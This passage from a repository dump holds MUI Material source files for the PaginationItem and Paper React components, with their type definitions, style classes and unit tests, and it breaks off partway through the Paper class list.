{\n                backgroundColor: theme.alpha(\n                  (theme.vars || theme).palette[color].main,\n                  `${(theme.vars || theme).palette.action.activatedOpacity} + ${(theme.vars || theme).palette.action.focusOpacity}`,\n                ),\n              },\n            },\n          },\n        })),\n    ],\n  })),\n);\n\nconst PaginationItemPageIcon = styled('div', {\n  name: 'MuiPaginationItem',\n  slot: 'Icon',\n})(\n  memoTheme(({ theme }) => ({\n    fontSize: theme.typography.pxToRem(20),\n    margin: '0 -8px',\n    variants: [\n      {\n        props: { size: 'small' },\n        style: {\n          fontSize: theme.typography.pxToRem(18),\n        },\n      },\n      {\n        props: { size: 'large' },\n        style: {\n          fontSize: theme.typography.pxToRem(22),\n        },\n      },\n    ],\n  })),\n);\n\nconst PaginationItem = React.forwardRef(function PaginationItem(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiPaginationItem' });\n  const {\n    className,\n    color = 'standard',\n    component,\n    disabled = false,\n    page,\n    selected = false,\n    shape = 'circular',\n    size = 'medium',\n    slots = {},\n    slotProps = {},\n    type = 'page',\n    variant = 'text',\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    color,\n    disabled,\n    selected,\n    shape,\n    size,\n    type,\n    variant,\n  };\n\n  const isRtl = useRtl();\n  const classes = useUtilityClasses(ownerState);\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [PreviousSlot, previousSlotProps] = useSlot('previous', {\n    elementType: NavigateBeforeIcon,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const [NextSlot, nextSlotProps] = useSlot('next', {\n    elementType: NavigateNextIcon,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const [FirstSlot, firstSlotProps] = useSlot('first', {\n    elementType: FirstPageIcon,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const [LastSlot, lastSlotProps] = useSlot('last', {\n    elementType: LastPageIcon,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const rtlAwareType = isRtl\n    ? {\n        previous: 'next',\n        next: 'previous',\n        first: 'last',\n        last: 'first',\n      }[type]\n    : type;\n\n  const IconSlot = {\n    previous: PreviousSlot,\n    next: NextSlot,\n    first: FirstSlot,\n    last: LastSlot,\n  }[rtlAwareType];\n\n  const iconSlotProps = {\n    previous: previousSlotProps,\n    next: nextSlotProps,\n    first: firstSlotProps,\n    last: lastSlotProps,\n  }[rtlAwareType];\n\n  return type === 'start-ellipsis' || type === 'end-ellipsis' ? (\n    <PaginationItemEllipsis\n      ref={ref}\n      ownerState={ownerState}\n      className={clsx(classes.root, className)}\n    >\n      …\n    </PaginationItemEllipsis>\n  ) : (\n    <PaginationItemPage\n      ref={ref}\n      ownerState={ownerState}\n      component={component}\n      internalNativeButton\n      disabled={disabled}\n      className={clsx(classes.root, className)}\n      {...other}\n    >\n      {type === 'page' && page}\n      {IconSlot ? (\n        <PaginationItemPageIcon {...iconSlotProps} className={classes.icon} as={IconSlot} />\n      ) : null}\n    </PaginationItemPage>\n  );\n});\n\nPaginationItem.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * @ignore\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The active color.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'standard'\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['primary', 'secondary', 'standard']),\n    PropTypes.string,\n  ]),\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled: PropTypes.bool,\n  /**\n   * Whether the custom component should render a native `<button>` element when\n   * rendering a React component with the `component` or `slots` prop.\n   */\n  nativeButton: PropTypes.bool,\n  /**\n   * The current page number.\n   */\n  page: PropTypes.node,\n  /**\n   * If `true` the pagination item is selected.\n   * @default false\n   */\n  selected: PropTypes.bool,\n  /**\n   * The shape of the pagination item.\n   * @default 'circular'\n   */\n  shape: PropTypes.oneOf(['circular', 'rounded']),\n  /**\n   * The size of the component.\n   * @default 'medium'\n   */\n  size: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['small', 'medium', 'large']),\n    PropTypes.string,\n  ]),\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    first: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    last: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    next: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    previous: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    first: PropTypes.elementType,\n    last: PropTypes.elementType,\n    next: PropTypes.elementType,\n    previous: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The type of pagination item.\n   * @default 'page'\n   */\n  type: PropTypes.oneOf([\n    'end-ellipsis',\n    'first',\n    'last',\n    'next',\n    'page',\n    'previous',\n    'start-ellipsis',\n  ]),\n  /**\n   * The variant to use.\n   * @default 'text'\n   */\n  variant: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['outlined', 'text']),\n    PropTypes.string,\n  ]),\n};\n\nexport default PaginationItem;\n"
  },
  {
    "path": "packages/mui-material/src/PaginationItem/PaginationItem.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport KeyboardDoubleArrowLeftIcon from '@mui/icons-material/KeyboardDoubleArrowLeft';\nimport KeyboardDoubleArrowRightIcon from '@mui/icons-material/KeyboardDoubleArrowRight';\nimport ArrowBackIcon from '@mui/icons-material/ArrowBack';\nimport ArrowForwardIcon from '@mui/icons-material/ArrowForward';\nimport PaginationItem, { paginationItemClasses as classes } from '@mui/material/PaginationItem';\nimport ButtonBase from '@mui/material/ButtonBase';\nimport RtlProvider from '@mui/system/RtlProvider';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<PaginationItem />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<PaginationItem />, () => ({\n    classes,\n    inheritComponent: ButtonBase,\n    render,\n    muiName: 'MuiPaginationItem',\n    refInstanceof: window.HTMLButtonElement,\n    testVariantProps: { variant: 'foo' },\n    testStateOverrides: { prop: 'variant', value: 'outlined', styleKey: 'outlined' },\n    slots: {\n      first: {},\n      last: {},\n      previous: {},\n      next: {},\n    },\n    skip: [\n      // Icon slots (first, last, previous, next) only render when `type` matches\n      // (e.g. type=\"first\" for the first slot). The conformance test renders\n      // <PaginationItem /> which defaults to type=\"page\", so icon slots are absent.\n      // Manual slot tests below cover this instead.\n      'slotsProp',\n      'slotPropsProp',\n      'slotPropsCallback',\n      'slotPropsCallbackWithPropsAsOwnerState',\n    ],\n  }));\n\n  it('should render', () => {\n    const { container } = render(<PaginationItem />);\n    expect(container.firstChild).to.have.class(classes.root);\n  });\n\n  it('should add the `selected` class to the root element if `selected={true}`', () => {\n    render(<PaginationItem selected />);\n\n    expect(screen.getByRole('button')).to.have.class(classes.selected);\n  });\n\n  it('should add the `colorPrimary` class to the root element if `color=\"primary\"`', () => {\n    render(<PaginationItem color=\"primary\" />);\n\n    expect(screen.getByRole('button')).to.have.class(classes.colorPrimary);\n  });\n\n  it('should add the `colorSecondary` class to the root element if `color=\"secondary\"`', () => {\n    render(<PaginationItem color=\"secondary\" />);\n\n    expect(screen.getByRole('button')).to.have.class(classes.colorSecondary);\n  });\n\n  describe('prop: disabled', () => {\n    it('should add the `disabled` class to the root element if `disabled={true}`', () => {\n      render(<PaginationItem disabled />);\n\n      expect(screen.getByRole('button')).to.have.class(classes.disabled);\n    });\n\n    it('should render a disabled button if `disabled={true}`', () => {\n      render(<PaginationItem disabled />);\n\n      expect(screen.getByRole('button')).to.have.property('disabled', true);\n    });\n  });\n\n  it('should render a small button', () => {\n    render(\n      <PaginationItem data-testid=\"root\" size=\"small\" page={1}>\n        Hello World\n      </PaginationItem>,\n    );\n\n    const root = screen.getByTestId('root');\n    expect(root).to.have.class(classes.root);\n    expect(root).to.have.class(classes.sizeSmall);\n    expect(root).not.to.have.class(classes.sizeLarge);\n  });\n\n  it('should render a large button', () => {\n    render(\n      <PaginationItem data-testid=\"root\" size=\"large\" page={1}>\n        Hello World\n      </PaginationItem>,\n    );\n\n    const root = screen.getByTestId('root');\n    expect(root).to.have.class(classes.root);\n    expect(root).not.to.have.class(classes.sizeSmall);\n    expect(root).to.have.class(classes.sizeLarge);\n  });\n\n  it('should render a first-last button', () => {\n    render(\n      <PaginationItem data-testid=\"root\" page={1} type={'first'}>\n        Hello World\n      </PaginationItem>,\n    );\n\n    expect(screen.getByRole('button')).to.have.class(classes.firstLast);\n  });\n\n  it('should render a previous-next button', () => {\n    render(\n      <PaginationItem data-testid=\"root\" page={1} type={'previous'}>\n        Hello World\n      </PaginationItem>,\n    );\n\n    expect(screen.getByRole('button')).to.have.class(classes.previousNext);\n  });\n\n  // describeConformance in it's current form is not able to test slots prop when slots are rendered conditionally. Hence below tests are added in this file.\n  describe('prop: slots, slotProps, components', () => {\n    function CustomPreviousIcon(props) {\n      return <ArrowBackIcon data-testid={props['data-testid'] ?? 'custom-previous'} />;\n    }\n\n    function CustomNextIcon(props) {\n      return <ArrowForwardIcon data-testid={props['data-testid'] ?? 'custom-next'} />;\n    }\n\n    function CustomFirstIcon(props) {\n      return <KeyboardDoubleArrowLeftIcon data-testid={props['data-testid'] ?? 'custom-first'} />;\n    }\n\n    function CustomLastIcon(props) {\n      return <KeyboardDoubleArrowRightIcon data-testid={props['data-testid'] ?? 'custom-last'} />;\n    }\n\n    it('icons passed in slots prop should override default icons', () => {\n      const slots = {\n        previous: CustomPreviousIcon,\n        next: CustomNextIcon,\n        first: CustomFirstIcon,\n        last: CustomLastIcon,\n      };\n\n      ['first', 'previous', 'next', 'last'].forEach((slot) => {\n        render(<PaginationItem page={1} slots={slots} type={slot} />);\n\n        expect(screen.getByTestId(`custom-${slot}`)).not.to.equal(null);\n      });\n    });\n\n    it('slotProps should be applied to icons passed in slots prop', () => {\n      const slots = {\n        previous: CustomPreviousIcon,\n        next: CustomNextIcon,\n        first: CustomFirstIcon,\n        last: CustomLastIcon,\n      };\n\n      const slotProps = {\n        previous: { 'data-testid': 'slot-previous' },\n        next: { 'data-testid': 'slot-next' },\n        first: { 'data-testid': 'slot-first' },\n        last: { 'data-testid': 'slot-last' },\n      };\n\n      ['first', 'previous', 'next', 'last'].forEach((slot) => {\n        render(<PaginationItem page={1} slotProps={slotProps} slots={slots} type={slot} />);\n\n        expect(screen.getByTestId(`slot-${slot}`)).not.to.equal(null);\n      });\n    });\n\n    it('slotProps should override internal props', () => {\n      const slotProps = {\n        previous: { 'data-testid': 'component-previous' },\n        next: { 'data-testid': 'component-next' },\n        first: { 'data-testid': 'component-first' },\n        last: { 'data-testid': 'component-last' },\n      };\n\n      ['first', 'previous', 'next', 'last'].forEach((slot) => {\n        render(<PaginationItem page={1} slotProps={slotProps} type={slot} />);\n\n        expect(screen.getByTestId(`component-${slot}`)).not.to.equal(null);\n      });\n    });\n\n    it('should take RtlProvider into account when provided and apply slotProps to slots accordingly', () => {\n      const slots = {\n        previous: CustomPreviousIcon,\n        next: CustomNextIcon,\n        first: CustomFirstIcon,\n        last: CustomLastIcon,\n      };\n\n      const slotProps = {\n        previous: { 'data-testid': 'slot-previous' },\n        next: { 'data-testid': 'slot-next' },\n        first: { 'data-testid': 'slot-first' },\n        last: { 'data-testid': 'slot-last' },\n      };\n\n      render(\n        <RtlProvider>\n          <PaginationItem page={1} slotProps={slotProps} slots={slots} type={'previous'} />\n          <PaginationItem page={1} slotProps={slotProps} slots={slots} type={'first'} />\n        </RtlProvider>,\n      );\n\n      expect(screen.queryByTestId('slot-next')).not.to.equal(null);\n      expect(screen.queryByTestId('slot-previous')).to.equal(null);\n      expect(screen.queryByTestId('slot-last')).not.to.equal(null);\n      expect(screen.queryByTestId('slot-first')).to.equal(null);\n    });\n  });\n\n  describe('prop: nativeButton', () => {\n    it('forwards nativeButton={false} to ButtonBase with a custom component', () => {\n      const CustomSpan = React.forwardRef((props, ref) => <span ref={ref} {...props} />);\n      const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n\n      render(<PaginationItem component={CustomSpan} page={1} nativeButton={false} />);\n\n      const item = screen.getByRole('button');\n      expect(item).to.have.tagName('SPAN');\n      expect(item).not.to.have.attribute('type');\n\n      // Proves nativeButton={false} was forwarded — without it, ButtonBase\n      // would warn about a non-button host with nativeButton omitted.\n      expect(errorSpy.mock.calls.length).to.equal(0);\n      errorSpy.mockRestore();\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/PaginationItem/index.d.ts",
    "content": "export { default } from './PaginationItem';\nexport * from './PaginationItem';\n\nexport { default as paginationItemClasses } from './paginationItemClasses';\nexport * from './paginationItemClasses';\n"
  },
  {
    "path": "packages/mui-material/src/PaginationItem/index.js",
    "content": "export { default } from './PaginationItem';\n\nexport { default as paginationItemClasses } from './paginationItemClasses';\nexport * from './paginationItemClasses';\n"
  },
  {
    "path": "packages/mui-material/src/PaginationItem/paginationItemClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface PaginationItemClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `type=\"page\"`. */\n  page: string;\n  /** Styles applied to the root element if `size=\"small\"`. */\n  sizeSmall: string;\n  /** Styles applied to the root element if `size=\"large\"`. */\n  sizeLarge: string;\n  /** Styles applied to the root element if `variant=\"text\"`. */\n  text: string;\n  /** Styles applied to the root element if `variant=\"outlined\"`. */\n  outlined: string;\n  /** Styles applied to the root element if `rounded=\"true\"`. */\n  rounded: string;\n  /** Styles applied to the root element if `type=\"start-ellipsis\"` or `type=\"end-ellipsis\"`. */\n  ellipsis: string;\n  /** Styles applied to the root element if `type=\"first\"` or type=\"last\". */\n  firstLast: string;\n  /** Styles applied to the root element if `type=\"previous\"` or type=\"next\". */\n  previousNext: string;\n  /** State class applied to the root element if keyboard focused. */\n  focusVisible: string;\n  /** State class applied to the root element if `disabled={true}`. */\n  disabled: string;\n  /** State class applied to the root element if `selected={true}`. */\n  selected: string;\n  /** Styles applied to the icon to display. */\n  icon: string;\n  /** Styles applied to the root element if `color=\"primary\"`. */\n  colorPrimary: string;\n  /** Styles applied to the root element if `color=\"secondary\"`. */\n  colorSecondary: string;\n}\n\nexport type PaginationItemClassKey = keyof PaginationItemClasses;\n\nexport function getPaginationItemUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiPaginationItem', slot);\n}\n\nconst paginationItemClasses: PaginationItemClasses = generateUtilityClasses('MuiPaginationItem', [\n  'root',\n  'page',\n  'sizeSmall',\n  'sizeLarge',\n  'text',\n  'outlined',\n  'rounded',\n  'ellipsis',\n  'firstLast',\n  'previousNext',\n  'focusVisible',\n  'disabled',\n  'selected',\n  'icon',\n  'colorPrimary',\n  'colorSecondary',\n]);\n\nexport default paginationItemClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Paper/Paper.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { Theme } from '../styles';\nimport { OverrideProps, OverridableComponent, OverridableTypeMap } from '../OverridableComponent';\nimport { PaperClasses } from './paperClasses';\n\nexport interface PaperPropsVariantOverrides {}\n\nexport interface PaperOwnProps {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<PaperClasses> | undefined;\n  /**\n   * Shadow depth, corresponds to `dp` in the spec.\n   * It accepts values between 0 and 24 inclusive.\n   * @default 1\n   */\n  elevation?: number | undefined;\n  /**\n   * If `true`, rounded corners are disabled.\n   * @default false\n   */\n  square?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The variant to use.\n   * @default 'elevation'\n   */\n  variant?:\n    | OverridableStringUnion<'elevation' | 'outlined', PaperPropsVariantOverrides>\n    | undefined;\n}\n\nexport interface PaperTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & PaperOwnProps;\n  defaultComponent: RootComponent;\n}\n\n/**\n *\n * Demos:\n *\n * - [Card](https://next.mui.com/material-ui/react-card/)\n * - [Menubar](https://next.mui.com/material-ui/react-menubar/)\n * - [Paper](https://next.mui.com/material-ui/react-paper/)\n *\n * API:\n *\n * - [Paper API](https://next.mui.com/material-ui/api/paper/)\n */\ndeclare const Paper: OverridableComponent<PaperTypeMap>;\n\nexport interface ExtendPaperTypeMap<TypeMap extends OverridableTypeMap, Keys extends string = ''> {\n  props: TypeMap['props'] & Omit<PaperTypeMap['props'], Keys>;\n  defaultComponent: TypeMap['defaultComponent'];\n}\n\nexport type PaperProps<\n  RootComponent extends React.ElementType = PaperTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<PaperTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default Paper;\n"
  },
  {
    "path": "packages/mui-material/src/Paper/Paper.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport integerPropType from '@mui/utils/integerPropType';\nimport chainPropTypes from '@mui/utils/chainPropTypes';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { alpha } from '@mui/system/colorManipulator';\nimport { styled, useTheme } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport getOverlayAlpha from '../styles/getOverlayAlpha';\nimport { getPaperUtilityClass } from './paperClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { square, elevation, variant, classes } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      variant,\n      !square && 'rounded',\n      variant === 'elevation' && `elevation${elevation}`,\n    ],\n  };\n\n  return composeClasses(slots, getPaperUtilityClass, classes);\n};\n\nconst PaperRoot = styled('div', {\n  name: 'MuiPaper',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      styles[ownerState.variant],\n      !ownerState.square && styles.rounded,\n      ownerState.variant === 'elevation' && styles[`elevation${ownerState.elevation}`],\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    backgroundColor: (theme.vars || theme).palette.background.paper,\n    color: (theme.vars || theme).palette.text.primary,\n    transition: theme.transitions.create('box-shadow'),\n    variants: [\n      {\n        props: ({ ownerState }) => !ownerState.square,\n        style: {\n          borderRadius: theme.shape.borderRadius,\n        },\n      },\n      {\n        props: {\n          variant: 'outlined',\n        },\n        style: {\n          border: `1px solid ${(theme.vars || theme).palette.divider}`,\n        },\n      },\n      {\n        props: {\n          variant: 'elevation',\n        },\n        style: {\n          boxShadow: 'var(--Paper-shadow)',\n          backgroundImage: 'var(--Paper-overlay)',\n        },\n      },\n    ],\n  })),\n);\n\nconst Paper = React.forwardRef(function Paper(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiPaper' });\n  const theme = useTheme();\n\n  const {\n    className,\n    component = 'div',\n    elevation = 1,\n    square = false,\n    variant = 'elevation',\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    component,\n    elevation,\n    square,\n    variant,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  if (process.env.NODE_ENV !== 'production') {\n    if (theme.shadows[elevation] === undefined) {\n      console.error(\n        [\n          `MUI: The elevation provided <Paper elevation={${elevation}}> is not available in the theme.`,\n          `Please make sure that \\`theme.shadows[${elevation}]\\` is defined.`,\n        ].join('\\n'),\n      );\n    }\n  }\n\n  return (\n    <PaperRoot\n      as={component}\n      ownerState={ownerState}\n      className={clsx(classes.root, className)}\n      ref={ref}\n      {...other}\n      style={{\n        ...(variant === 'elevation' && {\n          '--Paper-shadow': (theme.vars || theme).shadows[elevation],\n          ...(theme.vars && {\n            '--Paper-overlay': theme.vars.overlays?.[elevation],\n          }),\n          ...(!theme.vars &&\n            theme.palette.mode === 'dark' && {\n              '--Paper-overlay': `linear-gradient(${alpha(\n                '#fff',\n                getOverlayAlpha(elevation),\n              )}, ${alpha('#fff', getOverlayAlpha(elevation))})`,\n            }),\n        }),\n        ...other.style,\n      }}\n    />\n  );\n});\n\nPaper.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * Shadow depth, corresponds to `dp` in the spec.\n   * It accepts values between 0 and 24 inclusive.\n   * @default 1\n   */\n  elevation: chainPropTypes(integerPropType, (props) => {\n    const { elevation, variant } = props;\n    if (elevation > 0 && variant === 'outlined') {\n      return new Error(\n        `MUI: Combining \\`elevation={${elevation}}\\` with \\`variant=\"${variant}\"\\` has no effect. Either use \\`elevation={0}\\` or use a different \\`variant\\`.`,\n      );\n    }\n\n    return null;\n  }),\n  /**\n   * If `true`, rounded corners are disabled.\n   * @default false\n   */\n  square: PropTypes.bool,\n  /**\n   * @ignore\n   */\n  style: PropTypes.object,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The variant to use.\n   * @default 'elevation'\n   */\n  variant: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['elevation', 'outlined']),\n    PropTypes.string,\n  ]),\n};\n\nexport default Paper;\n"
  },
  {
    "path": "packages/mui-material/src/Paper/Paper.spec.tsx",
    "content": "import * as React from 'react';\nimport { expectType } from '@mui/types';\nimport Paper, { PaperProps } from '@mui/material/Paper';\n\nconst CustomComponent: React.FC<{ stringProp: string; numberProp: number }> =\n  function CustomComponent() {\n    return <div />;\n  };\n\nconst props1: PaperProps<'div'> = {\n  component: 'div',\n  onChange: (event) => {\n    expectType<React.ChangeEvent<HTMLDivElement>, typeof event>(event);\n  },\n};\n\nconst props2: PaperProps = {\n  onChange: (event) => {\n    expectType<React.ChangeEvent<HTMLDivElement>, typeof event>(event);\n  },\n};\n\nconst props3: PaperProps<typeof CustomComponent> = {\n  component: CustomComponent,\n  stringProp: '2',\n  numberProp: 2,\n};\n\nconst props4: PaperProps<typeof CustomComponent> = {\n  component: CustomComponent,\n  stringProp: '2',\n  numberProp: 2,\n  // @ts-expect-error CustomComponent does not accept incorrectProp\n  incorrectProp: 3,\n};\n\n// @ts-expect-error missing props\nconst props5: PaperProps<typeof CustomComponent> = {\n  component: CustomComponent,\n};\n\nfunction PaperTest() {\n  return (\n    <div>\n      <Paper elevation={4} />\n      <Paper component=\"a\" href=\"test\" />\n\n      <Paper component={CustomComponent} stringProp=\"test\" numberProp={0} />\n      {/* @ts-expect-error missing props */}\n      <Paper component={CustomComponent} />\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/src/Paper/Paper.test.js",
    "content": "import { expect } from 'chai';\nimport PropTypes from 'prop-types';\nimport {\n  createRenderer,\n  strictModeDoubleLoggingSuppressed,\n  screen,\n  isJsdom,\n} from '@mui/internal-test-utils';\nimport Paper, { paperClasses as classes } from '@mui/material/Paper';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Paper />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<Paper />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    muiName: 'MuiPaper',\n    refInstanceof: window.HTMLDivElement,\n    testComponentPropWith: 'header',\n    testVariantProps: { variant: 'rounded' },\n    testStateOverrides: { prop: 'elevation', value: 10, styleKey: 'elevation10' },\n  }));\n\n  describe('prop: square', () => {\n    it('can disable the rounded class', () => {\n      render(\n        <Paper data-testid=\"root\" square>\n          Hello World\n        </Paper>,\n      );\n\n      expect(screen.getByTestId('root')).not.to.have.class(classes.rounded);\n    });\n\n    it('adds a rounded class to the root when omitted', () => {\n      render(<Paper data-testid=\"root\">Hello World</Paper>);\n\n      expect(screen.getByTestId('root')).to.have.class(classes.rounded);\n    });\n  });\n\n  describe('prop: variant', () => {\n    it('adds a outlined class', () => {\n      render(\n        <Paper data-testid=\"root\" variant=\"outlined\">\n          Hello World\n        </Paper>,\n      );\n\n      expect(screen.getByTestId('root')).to.have.class(classes.outlined);\n    });\n  });\n\n  it('should set the elevation elevation class', () => {\n    const { setProps } = render(\n      <Paper data-testid=\"root\" elevation={16}>\n        Hello World\n      </Paper>,\n    );\n    const root = screen.getByTestId('root');\n\n    expect(root).to.have.class(classes.elevation16);\n\n    setProps({ elevation: 24 });\n\n    expect(root).to.have.class(classes.elevation24);\n\n    setProps({ elevation: 2 });\n\n    expect(root).to.have.class(classes.elevation2);\n  });\n\n  it('allows custom elevations via theme.shadows', () => {\n    const theme = createTheme();\n    theme.shadows.push('20px 20px');\n\n    render(\n      <ThemeProvider theme={theme}>\n        <Paper data-testid=\"root\" classes={{ elevation25: 'custom-elevation' }} elevation={25} />\n      </ThemeProvider>,\n    );\n\n    expect(screen.getByTestId('root')).to.have.class('custom-elevation');\n  });\n\n  describe('warnings', () => {\n    beforeEach(() => {\n      PropTypes.resetWarningCache();\n    });\n\n    it('warns if the given `elevation` is not implemented in the theme', () => {\n      expect(() => {\n        render(<Paper elevation={25} />);\n      }).toErrorDev([\n        'MUI: The elevation provided <Paper elevation={25}> is not available in the theme.',\n        !strictModeDoubleLoggingSuppressed &&\n          'MUI: The elevation provided <Paper elevation={25}> is not available in the theme.',\n      ]);\n    });\n\n    it('warns if `elevation={numberGreaterThanZero}` is used with `variant=\"outlined\"`', () => {\n      expect(() => {\n        PropTypes.checkPropTypes(\n          Paper.propTypes,\n          { elevation: 5, variant: 'outlined' },\n          'prop',\n          'MockedName',\n        );\n      }).toErrorDev([\n        'MUI: Combining `elevation={5}` with `variant=\"outlined\"` has no effect. Either use `elevation={0}` or use a different `variant`.',\n      ]);\n    });\n  });\n\n  it.skipIf(isJsdom())(\n    'should have no boxShadow or background-image on Paper with elevation 0 in dark mode using CSS variables',\n    function test() {\n      const theme = createTheme({\n        cssVariables: true,\n        colorSchemes: {\n          dark: true,\n        },\n        defaultColorScheme: 'dark',\n      });\n\n      render(\n        <ThemeProvider theme={theme}>\n          <Paper data-testid=\"parent\" elevation={23}>\n            elevation=23\n            <Paper data-testid=\"child\" elevation={0} />\n          </Paper>\n        </ThemeProvider>,\n      );\n\n      const childPaper = screen.getByTestId('child');\n      expect(childPaper).toHaveComputedStyle({\n        boxShadow: 'none',\n        backgroundImage: 'none',\n      });\n    },\n  );\n});\n"
  },
  {
    "path": "packages/mui-material/src/Paper/index.d.ts",
    "content": "export { default } from './Paper';\nexport type { PaperProps, PaperOwnProps, PaperPropsVariantOverrides, PaperTypeMap } from './Paper';\n\nexport { default as paperClasses } from './paperClasses';\nexport * from './paperClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Paper/index.js",
    "content": "export { default } from './Paper';\n\nexport { default as paperClasses } from './paperClasses';\nexport * from './paperClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Paper/paperClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface PaperClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element unless `square={true}`. */\n  rounded: string;\n  /** Styles applied to the root element if `variant=\"outlined\"`. */\n  outlined: string;\n  /** Styles applied to the root element if `variant=\"elevation\"`. */\n  elevation: string;\n  /** Styles applied to the root element if `elevation={0}`. */\n  elevation0: string;\n  /** Styles applied to the root element if `elevation={1}`. */\n  elevation1: string;\n  /** Styles applied to the root element if `elevation={2}`. */\n  elevation2: string;\n  /** Styles applied to the root element if `elevation={3}`. */\n  elevation3: string;\n  /** Styles applied to the root element if `elevation={4}`. */\n  elevation4: string;\n  /** Styles applied to the root element if `elevation={5}`. */\n  elevation5: string;\n  /** Styles applied to the root element if `elevation={6}`. */\n  elevation6: string;\n  /** Styles applied to the root element if `elevation={7}`. */\n  elevation7: string;\n  /** Styles applied to the root element if `elevation={8}`. */\n  elevation8: string;\n  /** Styles applied to the root element if `elevation={9}`. */\n  